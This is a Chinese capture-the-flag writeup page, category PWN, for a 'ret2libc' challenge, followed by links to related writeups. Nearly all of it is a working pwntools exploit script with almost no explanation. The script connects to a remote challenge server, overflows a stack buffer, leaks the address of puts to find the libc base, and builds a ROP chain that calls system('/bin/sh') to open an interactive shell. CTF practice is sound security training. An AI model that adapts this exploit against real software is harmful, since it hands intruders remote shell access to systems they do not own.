ret2libc

1000x_ 2025-09-25 15:24:10 195 0 返回题目详情


from pwn import *
host = '49.232.142.230'
port = 10930
p = remote(host, port)
context.encoding = 'ascii'
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
main = elf.sym['main']
rop = ROP(elf)
rdi = rop.find_gadget(['pop rdi']).address
ret = rop.find_gadget(['ret']).address
got = elf.got['puts']
plt = elf.plt['puts']
offset = 0x40 + 0x8
payload = b'a'*(offset) + p64(rdi) + p64(got) + p64(plt) + p64(main)
p.sendline(payload)
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
success("puts ---> %#x", puts)
libc_base = puts - libc.sym['puts']
success("libc_base ---> %#x", libc_base)
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh'))
payload2 = b'a'*(offset) + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
p.recvuntil('Go!!!\n')
p.sendline(payload2)
p.interactive()

分类:PWN
image
作者:1000x_

9

提交

0

收入

相关WriteUP

  • Format.INI

    1.用file查看文件类型:64位ELFnostripped2.checksec查看文件开启保护:GOT可劫持非PIE3.IDA分析文件:prinf格式化漏洞4.分析代码,程序调用了system,printf之后调用了free。查看freegot表的内容为0x401036与systemplt的地址0x401060就差最后一个字节。那么想法修改freegot的内容为system的plt。而free的...

    • PWN
    • 2年前
  • 勇闯迷宫-过三关 (陕西省大学生)

    这题如题面所说分为三个部分,难度不高,第一部分考栈溢出,第二部分有点简单的逆向,第三部分考了一点fastbinattack,作为复习基础知识刚刚好拿到程序,首先做些基本检查:PartialRELRO,有Canary和NX,没有PIE。提供了libc(2.23)。got表里函数挺多,特别是看到了malloc和free,可能要用到堆。全局变量和main基本都保留了符号表,其他函数大多没有。第一部分直接...

    • PWN
    • 2年前
  • [NUAACTF-2017]hello_pwn

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 1年前
  • No Way Out的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 1年前
  • Message Board的writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • PWN
    • 1年前
问题反馈